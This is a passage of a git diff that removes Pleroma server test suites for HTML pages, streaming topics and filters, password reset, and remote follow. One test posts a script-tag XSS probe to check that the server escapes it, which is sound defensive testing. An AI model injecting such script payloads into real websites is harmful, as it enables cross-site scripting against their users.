- end - - test "profile does not include private messages", %{conn: conn, user: user} do - CommonAPI.post(user, %{status: "public"}) - CommonAPI.post(user, %{status: "private", visibility: "private"}) - - conn = get(conn, "/users/#{user.nickname}") - - html = html_response(conn, 200) - - assert html =~ ">public<" - refute html =~ ">private<" - end - - test "pagination", %{conn: conn, user: user} do - Enum.map(1..30, fn i -> CommonAPI.post(user, %{status: "test#{i}"}) end) - - conn = get(conn, "/users/#{user.nickname}") - - html = html_response(conn, 200) - - assert html =~ ">test30<" - assert html =~ ">test11<" - refute html =~ ">test10<" - refute html =~ ">test1<" - end - - test "pagination, page 2", %{conn: conn, user: user} do - activities = Enum.map(1..30, fn i -> CommonAPI.post(user, %{status: "test#{i}"}) end) - {:ok, a11} = Enum.at(activities, 11) - - conn = get(conn, "/users/#{user.nickname}?max_id=#{a11.id}") - - html = html_response(conn, 200) - - assert html =~ ">test1<" - assert html =~ ">test10<" - refute html =~ ">test20<" - refute html =~ ">test29<" - end - - test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}", user) - end - end - - describe "notice html" do - test "single notice page", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) - - conn = get(conn, "/notice/#{activity.id}") - - html = html_response(conn, 200) - assert html =~ "<header>" - assert html =~ user.nickname - assert html =~ "testing a thing!" - end - - test "redirects to json if requested", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) - - conn = - conn - |> put_req_header( - "accept", - "Accept: application/activity+json, application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", text/html" - ) - |> get("/notice/#{activity.id}") - - assert redirected_to(conn, 302) =~ activity.data["object"] - end - - test "filters HTML tags", %{conn: conn} do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "<script>alert('xss')</script>"}) - - conn = - conn - |> put_req_header("accept", "text/html") - |> get("/notice/#{activity.id}") - - html = html_response(conn, 200) - assert html =~ ~s[<script>alert('xss')</script>] - end - - test "shows the whole thread", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "space: the final frontier"}) - - CommonAPI.post(user, %{ - status: "these are the voyages or something", - in_reply_to_status_id: activity.id - }) - - conn = get(conn, "/notice/#{activity.id}") - - html = html_response(conn, 200) - assert html =~ "the final frontier" - assert html =~ "voyages" - end - - test "redirect by AP object ID", %{conn: conn, user: user} do - {:ok, %Activity{data: %{"object" => object_url}}} = - CommonAPI.post(user, %{status: "beam me up"}) - - conn = get(conn, URI.parse(object_url).path) - - assert html_response(conn, 302) =~ "redirected" - end - - test "redirect by activity ID", %{conn: conn, user: user} do - {:ok, %Activity{data: %{"id" => id}}} = - CommonAPI.post(user, %{status: "I'm a doctor, not a devops!"}) - - conn = get(conn, URI.parse(id).path) - - assert html_response(conn, 302) =~ "redirected" - end - - test "404 when notice not found", %{conn: conn} do - conn = get(conn, "/notice/88c9c317") - - assert html_response(conn, 404) =~ "not found" - end - - test "404 for private status", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "don't show me!", visibility: "private"}) - - conn = get(conn, "/notice/#{activity.id}") - - assert html_response(conn, 404) =~ "not found" - end - - test "302 for remote cached status", %{conn: conn, user: user} do - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => user.follower_address, - "cc" => "https://www.w3.org/ns/activitystreams#Public", - "type" => "Create", - "object" => %{ - "content" => "blah blah blah", - "type" => "Note", - "attributedTo" => user.ap_id, - "inReplyTo" => nil - }, - "actor" => user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - conn = get(conn, "/notice/#{activity.id}") - - assert html_response(conn, 302) =~ "redirected" - end - - test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) - - ensure_federating_or_authenticated(conn, "/notice/#{activity.id}", user) - end - end -end diff --git a/test/web/streamer/streamer_test.exs b/test/web/streamer/streamer_test.exs deleted file mode 100644 index 185724a9f..000000000 --- a/test/web/streamer/streamer_test.exs +++ /dev/null @@ -1,767 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.StreamerTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Conversation.Participation - alias Pleroma.List - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Streamer - alias Pleroma.Web.StreamerView - - @moduletag needs_streamer: true, capture_log: true - - setup do: clear_config([:instance, :skip_thread_containment]) - - describe "get_topic/_ (unauthenticated)" do - test "allows public" do - assert {:ok, "public"} = Streamer.get_topic("public", nil, nil) - assert {:ok, "public:local"} = Streamer.get_topic("public:local", nil, nil) - assert {:ok, "public:media"} = Streamer.get_topic("public:media", nil, nil) - assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", nil, nil) - end - - test "allows hashtag streams" do - assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", nil, nil, %{"tag" => "cofe"}) - end - - test "disallows user streams" do - assert {:error, _} = Streamer.get_topic("user", nil, nil) - assert {:error, _} = Streamer.get_topic("user:notification", nil, nil) - assert {:error, _} = Streamer.get_topic("direct", nil, nil) - end - - test "disallows list streams" do - assert {:error, _} = Streamer.get_topic("list", nil, nil, %{"list" => 42}) - end - end - - describe "get_topic/_ (authenticated)" do - setup do: oauth_access(["read"]) - - test "allows public streams (regardless of OAuth token scopes)", %{ - user: user, - token: read_oauth_token - } do - with oauth_token <- [nil, read_oauth_token] do - assert {:ok, "public"} = Streamer.get_topic("public", user, oauth_token) - assert {:ok, "public:local"} = Streamer.get_topic("public:local", user, oauth_token) - assert {:ok, "public:media"} = Streamer.get_topic("public:media", user, oauth_token) - - assert {:ok, "public:local:media"} = - Streamer.get_topic("public:local:media", user, oauth_token) - end - end - - test "allows user streams (with proper OAuth token scopes)", %{ - user: user, - token: read_oauth_token - } do - %{token: read_notifications_token} = oauth_access(["read:notifications"], user: user) - %{token: read_statuses_token} = oauth_access(["read:statuses"], user: user) - %{token: badly_scoped_token} = oauth_access(["irrelevant:scope"], user: user) - - expected_user_topic = "user:#{user.id}" - expected_notification_topic = "user:notification:#{user.id}" - expected_direct_topic = "direct:#{user.id}" - expected_pleroma_chat_topic = "user:pleroma_chat:#{user.id}" - - for valid_user_token <- [read_oauth_token, read_statuses_token] do - assert {:ok, ^expected_user_topic} = Streamer.get_topic("user", user, valid_user_token) - - assert {:ok, ^expected_direct_topic} = - Streamer.get_topic("direct", user, valid_user_token) - - assert {:ok, ^expected_pleroma_chat_topic} = - Streamer.get_topic("user:pleroma_chat", user, valid_user_token) - end - - for invalid_user_token <- [read_notifications_token, badly_scoped_token], - user_topic <- ["user", "direct", "user:pleroma_chat"] do - assert {:error, :unauthorized} = Streamer.get_topic(user_topic, user, invalid_user_token) - end - - for valid_notification_token <- [read_oauth_token, read_notifications_token] do - assert {:ok, ^expected_notification_topic} = - Streamer.get_topic("user:notification", user, valid_notification_token) - end - - for invalid_notification_token <- [read_statuses_token, badly_scoped_token] do - assert {:error, :unauthorized} = - Streamer.get_topic("user:notification", user, invalid_notification_token) - end - end - - test "allows hashtag streams (regardless of OAuth token scopes)", %{ - user: user, - token: read_oauth_token - } do - for oauth_token <- [nil, read_oauth_token] do - assert {:ok, "hashtag:cofe"} = - Streamer.get_topic("hashtag", user, oauth_token, %{"tag" => "cofe"}) - end - end - - test "disallows registering to another user's stream", %{user: user, token: read_oauth_token} do - another_user = insert(:user) - assert {:error, _} = Streamer.get_topic("user:#{another_user.id}", user, read_oauth_token) - - assert {:error, _} = - Streamer.get_topic("user:notification:#{another_user.id}", user, read_oauth_token) - - assert {:error, _} = Streamer.get_topic("direct:#{another_user.id}", user, read_oauth_token) - end - - test "allows list stream that are owned by the user (with `read` or `read:lists` scopes)", %{ - user: user, - token: read_oauth_token - } do - %{token: read_lists_token} = oauth_access(["read:lists"], user: user) - %{token: invalid_token} = oauth_access(["irrelevant:scope"], user: user) - {:ok, list} = List.create("Test", user) - - assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, read_oauth_token) - - for valid_token <- [read_oauth_token, read_lists_token] do - assert {:ok, _} = Streamer.get_topic("list", user, valid_token, %{"list" => list.id}) - end - - assert {:error, _} = Streamer.get_topic("list", user, invalid_token, %{"list" => list.id}) - end - - test "disallows list stream that are not owned by the user", %{user: user, token: oauth_token} do - another_user = insert(:user) - {:ok, list} = List.create("Test", another_user) - - assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, oauth_token) - assert {:error, _} = Streamer.get_topic("list", user, oauth_token, %{"list" => list.id}) - end - end - - describe "user streams" do - setup do - %{user: user, token: token} = oauth_access(["read"]) - notify = insert(:notification, user: user, activity: build(:note_activity)) - {:ok, %{user: user, notify: notify, token: token}} - end - - test "it streams the user's post in the 'user' stream", %{user: user, token: oauth_token} do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user, activity) - end - - test "it streams boosts of the user in the 'user' stream", %{user: user, token: oauth_token} do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) - {:ok, announce} = CommonAPI.repeat(activity.id, user) - - assert_receive {:render_with_user, Pleroma.Web.StreamerView, "update.json", ^announce} - refute Streamer.filtered_by_user?(user, announce) - end - - test "it does not stream announces of the user's own posts in the 'user' stream", %{ - user: user, - token: oauth_token - } do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, announce} = CommonAPI.repeat(activity.id, other_user) - - assert Streamer.filtered_by_user?(user, announce) - end - - test "it does stream notifications announces of the user's own posts in the 'user' stream", %{ - user: user, - token: oauth_token - } do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, announce} = CommonAPI.repeat(activity.id, other_user) - - notification = - Pleroma.Notification - |> Repo.get_by(%{user_id: user.id, activity_id: announce.id}) - |> Repo.preload(:activity) - - refute Streamer.filtered_by_user?(user, notification) - end - - test "it streams boosts of mastodon user in the 'user' stream", %{ - user: user, - token: oauth_token - } do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) - - data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("actor", user.ap_id) - - {:ok, %Pleroma.Activity{data: _data, local: false} = announce} = - Pleroma.Web.ActivityPub.Transmogrifier.handle_incoming(data) - - assert_receive {:render_with_user, Pleroma.Web.StreamerView, "update.json", ^announce} - refute Streamer.filtered_by_user?(user, announce) - end - - test "it sends notify to in the 'user' stream", %{ - user: user, - token: oauth_token, - notify: notify - } do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - Streamer.stream("user", notify) - - assert_receive {:render_with_user, _, _, ^notify} - refute Streamer.filtered_by_user?(user, notify) - end - - test "it sends notify to in the 'user:notification' stream", %{ - user: user, - token: oauth_token, - notify: notify - } do - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - Streamer.stream("user:notification", notify) - - assert_receive {:render_with_user, _, _, ^notify} - refute Streamer.filtered_by_user?(user, notify) - end - - test "it sends chat messages to the 'user:pleroma_chat' stream", %{ - user: user, - token: oauth_token - } do - other_user = insert(:user) - - {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") - object = Object.normalize(create_activity, false) - chat = Chat.get(user.id, other_user.ap_id) - cm_ref = MessageReference.for_chat_and_object(chat, object) - cm_ref = %{cm_ref | chat: chat, object: object} - - Streamer.get_topic_and_add_socket("user:pleroma_chat", user, oauth_token) - Streamer.stream("user:pleroma_chat", {user, cm_ref}) - - text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) - - assert text =~ "hey cirno" - assert_receive {:text, ^text} - end - - test "it sends chat messages to the 'user' stream", %{user: user, token: oauth_token} do - other_user = insert(:user) - - {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") - object = Object.normalize(create_activity, false) - chat = Chat.get(user.id, other_user.ap_id) - cm_ref = MessageReference.for_chat_and_object(chat, object) - cm_ref = %{cm_ref | chat: chat, object: object} - - Streamer.get_topic_and_add_socket("user", user, oauth_token) - Streamer.stream("user", {user, cm_ref}) - - text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) - - assert text =~ "hey cirno" - assert_receive {:text, ^text} - end - - test "it sends chat message notifications to the 'user:notification' stream", %{ - user: user, - token: oauth_token - } do - other_user = insert(:user) - - {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey") - - notify = - Repo.get_by(Pleroma.Notification, user_id: user.id, activity_id: create_activity.id) - |> Repo.preload(:activity) - - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - Streamer.stream("user:notification", notify) - - assert_receive {:render_with_user, _, _, ^notify} - refute Streamer.filtered_by_user?(user, notify) - end - - test "it doesn't send notify to the 'user:notification' stream when a user is blocked", %{ - user: user, - token: oauth_token - } do - blocked = insert(:user) - {:ok, _user_relationship} = User.block(user, blocked) - - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - - {:ok, activity} = CommonAPI.post(user, %{status: ":("}) - {:ok, _} = CommonAPI.favorite(blocked, activity.id) - - refute_receive _ - end - - test "it doesn't send notify to the 'user:notification' stream when a thread is muted", %{ - user: user, - token: oauth_token - } do - user2 = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - {:ok, _} = CommonAPI.add_mute(user, activity) - - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - - {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) - - refute_receive _ - assert Streamer.filtered_by_user?(user, favorite_activity) - end - - test "it sends favorite to 'user:notification' stream'", %{ - user: user, - token: oauth_token - } do - user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) - - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) - - assert_receive {:render_with_user, _, "notification.json", notif} - assert notif.activity.id == favorite_activity.id - refute Streamer.filtered_by_user?(user, notif) - end - - test "it doesn't send the 'user:notification' stream' when a domain is blocked", %{ - user: user, - token: oauth_token - } do - user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) - - {:ok, user} = User.block_domain(user, "hecking-lewd-place.com") - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) - - refute_receive _ - assert Streamer.filtered_by_user?(user, favorite_activity) - end - - test "it sends follow activities to the 'user:notification' stream", %{ - user: user, - token: oauth_token - } do - user_url = user.ap_id - user2 = insert(:user) - - body = - File.read!("test/fixtures/users_mock/localhost.json") - |> String.replace("{{nickname}}", user.nickname) - |> Jason.encode!() - - Tesla.Mock.mock_global(fn - %{method: :get, url: ^user_url} -> - %Tesla.Env{status: 200, body: body} - end) - - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - {:ok, _follower, _followed, follow_activity} = CommonAPI.follow(user2, user) - - assert_receive {:render_with_user, _, "notification.json", notif} - assert notif.activity.id == follow_activity.id - refute Streamer.filtered_by_user?(user, notif) - end - end - - describe "public streams" do - test "it sends to public (authenticated)" do - %{user: user, token: oauth_token} = oauth_access(["read"]) - other_user = insert(:user) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(other_user, activity) - end - - test "it sends to public (unauthenticated)" do - user = insert(:user) - - Streamer.get_topic_and_add_socket("public", nil, nil) - - {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) - activity_id = activity.id - assert_receive {:text, event} - assert %{"event" => "update", "payload" => payload} = Jason.decode!(event) - assert %{"id" => ^activity_id} = Jason.decode!(payload) - - {:ok, _} = CommonAPI.delete(activity.id, user) - assert_receive {:text, event} - assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) - end - - test "handles deletions" do - %{user: user, token: oauth_token} = oauth_access(["read"]) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - - {:ok, _} = CommonAPI.delete(activity.id, other_user) - activity_id = activity.id - assert_receive {:text, event} - assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) - end - end - - describe "thread_containment/2" do - test "it filters to user if recipients invalid and thread containment is enabled" do - Pleroma.Config.put([:instance, :skip_thread_containment], false) - author = insert(:user) - %{user: user, token: oauth_token} = oauth_access(["read"]) - User.follow(user, author, :follow_accept) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => ["TEST-FFF"]} - ) - ) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - Streamer.stream("public", activity) - assert_receive {:render_with_user, _, _, ^activity} - assert Streamer.filtered_by_user?(user, activity) - end - - test "it sends message if recipients invalid and thread containment is disabled" do - Pleroma.Config.put([:instance, :skip_thread_containment], true) - author = insert(:user) - %{user: user, token: oauth_token} = oauth_access(["read"]) - User.follow(user, author, :follow_accept) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => ["TEST-FFF"]} - ) - ) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - Streamer.stream("public", activity) - - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user, activity) - end - - test "it sends message if recipients invalid and thread containment is enabled but user's thread containment is disabled" do - Pleroma.Config.put([:instance, :skip_thread_containment], false) - author = insert(:user) - user = insert(:user, skip_thread_containment: true) - %{token: oauth_token} = oauth_access(["read"], user: user) - User.follow(user, author, :follow_accept) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => ["TEST-FFF"]} - ) - ) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - Streamer.stream("public", activity) - - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user, activity) - end - end - - describe "blocks" do - setup do: oauth_access(["read"]) - - test "it filters messages involving blocked users", %{user: user, token: oauth_token} do - blocked_user = insert(:user) - {:ok, _user_relationship} = User.block(user, blocked_user) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - {:ok, activity} = CommonAPI.post(blocked_user, %{status: "Test"}) - assert_receive {:render_with_user, _, _, ^activity} - assert Streamer.filtered_by_user?(user, activity) - end - - test "it filters messages transitively involving blocked users", %{ - user: blocker, - token: blocker_token - } do - blockee = insert(:user) - friend = insert(:user) - - Streamer.get_topic_and_add_socket("public", blocker, blocker_token) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey! @#{blockee.nickname}"}) - - assert_receive {:render_with_user, _, _, ^activity_one} - assert Streamer.filtered_by_user?(blocker, activity_one) - - {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) - - assert_receive {:render_with_user, _, _, ^activity_two} - assert Streamer.filtered_by_user?(blocker, activity_two) - - {:ok, activity_three} = CommonAPI.post(blockee, %{status: "hey! @#{blocker.nickname}"}) - - assert_receive {:render_with_user, _, _, ^activity_three} - assert Streamer.filtered_by_user?(blocker, activity_three) - end - end - - describe "lists" do - setup do: oauth_access(["read"]) - - test "it doesn't send unwanted DMs to list", %{user: user_a, token: user_a_token} do - user_b = insert(:user) - user_c = insert(:user) - - {:ok, user_a} = User.follow(user_a, user_b) - - {:ok, list} = List.create("Test", user_a) - {:ok, list} = List.follow(list, user_b) - - Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) - - {:ok, _activity} = - CommonAPI.post(user_b, %{ - status: "@#{user_c.nickname} Test", - visibility: "direct" - }) - - refute_receive _ - end - - test "it doesn't send unwanted private posts to list", %{user: user_a, token: user_a_token} do - user_b = insert(:user) - - {:ok, list} = List.create("Test", user_a) - {:ok, list} = List.follow(list, user_b) - - Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) - - {:ok, _activity} = - CommonAPI.post(user_b, %{ - status: "Test", - visibility: "private" - }) - - refute_receive _ - end - - test "it sends wanted private posts to list", %{user: user_a, token: user_a_token} do - user_b = insert(:user) - - {:ok, user_a} = User.follow(user_a, user_b) - - {:ok, list} = List.create("Test", user_a) - {:ok, list} = List.follow(list, user_b) - - Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) - - {:ok, activity} = - CommonAPI.post(user_b, %{ - status: "Test", - visibility: "private" - }) - - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user_a, activity) - end - end - - describe "muted reblogs" do - setup do: oauth_access(["read"]) - - test "it filters muted reblogs", %{user: user1, token: user1_token} do - user2 = insert(:user) - user3 = insert(:user) - CommonAPI.follow(user1, user2) - CommonAPI.hide_reblogs(user1, user2) - - {:ok, create_activity} = CommonAPI.post(user3, %{status: "I'm kawen"}) - - Streamer.get_topic_and_add_socket("user", user1, user1_token) - {:ok, announce_activity} = CommonAPI.repeat(create_activity.id, user2) - assert_receive {:render_with_user, _, _, ^announce_activity} - assert Streamer.filtered_by_user?(user1, announce_activity) - end - - test "it filters reblog notification for reblog-muted actors", %{ - user: user1, - token: user1_token - } do - user2 = insert(:user) - CommonAPI.follow(user1, user2) - CommonAPI.hide_reblogs(user1, user2) - - {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1, user1_token) - {:ok, _announce_activity} = CommonAPI.repeat(create_activity.id, user2) - - assert_receive {:render_with_user, _, "notification.json", notif} - assert Streamer.filtered_by_user?(user1, notif) - end - - test "it send non-reblog notification for reblog-muted actors", %{ - user: user1, - token: user1_token - } do - user2 = insert(:user) - CommonAPI.follow(user1, user2) - CommonAPI.hide_reblogs(user1, user2) - - {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1, user1_token) - {:ok, _favorite_activity} = CommonAPI.favorite(user2, create_activity.id) - - assert_receive {:render_with_user, _, "notification.json", notif} - refute Streamer.filtered_by_user?(user1, notif) - end - end - - describe "muted threads" do - test "it filters posts from muted threads" do - user = insert(:user) - %{user: user2, token: user2_token} = oauth_access(["read"]) - Streamer.get_topic_and_add_socket("user", user2, user2_token) - - {:ok, user2, user, _activity} = CommonAPI.follow(user2, user) - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - {:ok, _} = CommonAPI.add_mute(user2, activity) - - assert_receive {:render_with_user, _, _, ^activity} - assert Streamer.filtered_by_user?(user2, activity) - end - end - - describe "direct streams" do - setup do: oauth_access(["read"]) - - test "it sends conversation update to the 'direct' stream", %{user: user, token: oauth_token} do - another_user = insert(:user) - - Streamer.get_topic_and_add_socket("direct", user, oauth_token) - - {:ok, _create_activity} = - CommonAPI.post(another_user, %{ - status: "hey @#{user.nickname}", - visibility: "direct" - }) - - assert_receive {:text, received_event} - - assert %{"event" => "conversation", "payload" => received_payload} = - Jason.decode!(received_event) - - assert %{"last_status" => last_status} = Jason.decode!(received_payload) - [participation] = Participation.for_user(user) - assert last_status["pleroma"]["direct_conversation_id"] == participation.id - end - - test "it doesn't send conversation update to the 'direct' stream when the last message in the conversation is deleted", - %{user: user, token: oauth_token} do - another_user = insert(:user) - - Streamer.get_topic_and_add_socket("direct", user, oauth_token) - - {:ok, create_activity} = - CommonAPI.post(another_user, %{ - status: "hi @#{user.nickname}", - visibility: "direct" - }) - - create_activity_id = create_activity.id - assert_receive {:render_with_user, _, _, ^create_activity} - assert_receive {:text, received_conversation1} - assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) - - {:ok, _} = CommonAPI.delete(create_activity_id, another_user) - - assert_receive {:text, received_event} - - assert %{"event" => "delete", "payload" => ^create_activity_id} = - Jason.decode!(received_event) - - refute_receive _ - end - - test "it sends conversation update to the 'direct' stream when a message is deleted", %{ - user: user, - token: oauth_token - } do - another_user = insert(:user) - Streamer.get_topic_and_add_socket("direct", user, oauth_token) - - {:ok, create_activity} = - CommonAPI.post(another_user, %{ - status: "hi @#{user.nickname}", - visibility: "direct" - }) - - {:ok, create_activity2} = - CommonAPI.post(another_user, %{ - status: "hi @#{user.nickname} 2", - in_reply_to_status_id: create_activity.id, - visibility: "direct" - }) - - assert_receive {:render_with_user, _, _, ^create_activity} - assert_receive {:render_with_user, _, _, ^create_activity2} - assert_receive {:text, received_conversation1} - assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) - assert_receive {:text, received_conversation1} - assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) - - {:ok, _} = CommonAPI.delete(create_activity2.id, another_user) - - assert_receive {:text, received_event} - assert %{"event" => "delete", "payload" => _} = Jason.decode!(received_event) - - assert_receive {:text, received_event} - - assert %{"event" => "conversation", "payload" => received_payload} = - Jason.decode!(received_event) - - assert %{"last_status" => last_status} = Jason.decode!(received_payload) - assert last_status["id"] == to_string(create_activity.id) - end - end -end diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs deleted file mode 100644 index a5e9e2178..000000000 --- a/test/web/twitter_api/password_controller_test.exs +++ /dev/null @@ -1,81 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.PasswordResetToken - alias Pleroma.User - alias Pleroma.Web.OAuth.Token - import Pleroma.Factory - - describe "GET /api/pleroma/password_reset/token" do - test "it returns error when token invalid", %{conn: conn} do - response = - conn - |> get("/api/pleroma/password_reset/token") - |> html_response(:ok) - - assert response =~ "<h2>Invalid Token</h2>" - end - - test "it shows password reset form", %{conn: conn} do - user = insert(:user) - {:ok, token} = PasswordResetToken.create_token(user) - - response = - conn - |> get("/api/pleroma/password_reset/#{token.token}") - |> html_response(:ok) - - assert response =~ "<h2>Password Reset for #{user.nickname}</h2>" - end - end - - describe "POST /api/pleroma/password_reset" do - test "it returns HTTP 200", %{conn: conn} do - user = insert(:user) - {:ok, token} = PasswordResetToken.create_token(user) - {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) - - params = %{ - "password" => "test", - password_confirmation: "test", - token: token.token - } - - response = - conn - |> assign(:user, user) - |> post("/api/pleroma/password_reset", %{data: params}) - |> html_response(:ok) - - assert response =~ "<h2>Password changed!</h2>" - - user = refresh_record(user) - assert Pbkdf2.verify_pass("test", user.password_hash) - assert Enum.empty?(Token.get_user_tokens(user)) - end - - test "it sets password_reset_pending to false", %{conn: conn} do - user = insert(:user, password_reset_pending: true) - - {:ok, token} = PasswordResetToken.create_token(user) - {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) - - params = %{ - "password" => "test", - password_confirmation: "test", - token: token.token - } - - conn - |> assign(:user, user) - |> post("/api/pleroma/password_reset", %{data: params}) - |> html_response(:ok) - - assert User.get_by_id(user.id).password_reset_pending == false - end - end -end diff --git a/test/web/twitter_api/remote_follow_controller_test.exs b/test/web/twitter_api/remote_follow_controller_test.exs deleted file mode 100644 index 3852c7ce9..000000000 --- a/test/web/twitter_api/remote_follow_controller_test.exs +++ /dev/null @@ -1,350 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.RemoteFollowControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Pleroma.MFA - alias Pleroma.MFA.TOTP - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureLog - import Pleroma.Factory - import Ecto.Query - - setup do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup_all do: clear_config([:instance, :federating], true) - setup do: clear_config([:instance]) - setup do: clear_config([:frontend_configurations, :pleroma_fe]) - setup do: clear_config([:user, :deny_follow_blocked]) - - describe "GET /ostatus_subscribe - remote_follow/2" do - test "adds status to pleroma instance if the `acct` is a status", %{conn: conn} do - assert conn - |> get( - remote_follow_path(conn, :follow, %{ - acct: "https://mastodon.social/users/emelie/statuses/101849165031453009" - }) - ) - |> redirected_to() =~ "/notice/" - end - - test "show follow account page if the `acct` is a account link", %{conn: conn} do - response = - conn - |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"})) - |> html_response(200) - - assert response =~ "Log in to follow" - end - - test "show follow page if the `acct` is a account link", %{conn: conn} do - user = insert(:user) - - response = - conn - |> assign(:user, user) - |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"})) - |> html_response(200) - - assert response =~ "Remote follow" - end - - test "show follow page with error when user cannot fecth by `acct` link", %{conn: conn} do - user = insert(:user) - - assert capture_log(fn -> - response = - conn - |> assign(:user, user) - |> get( - 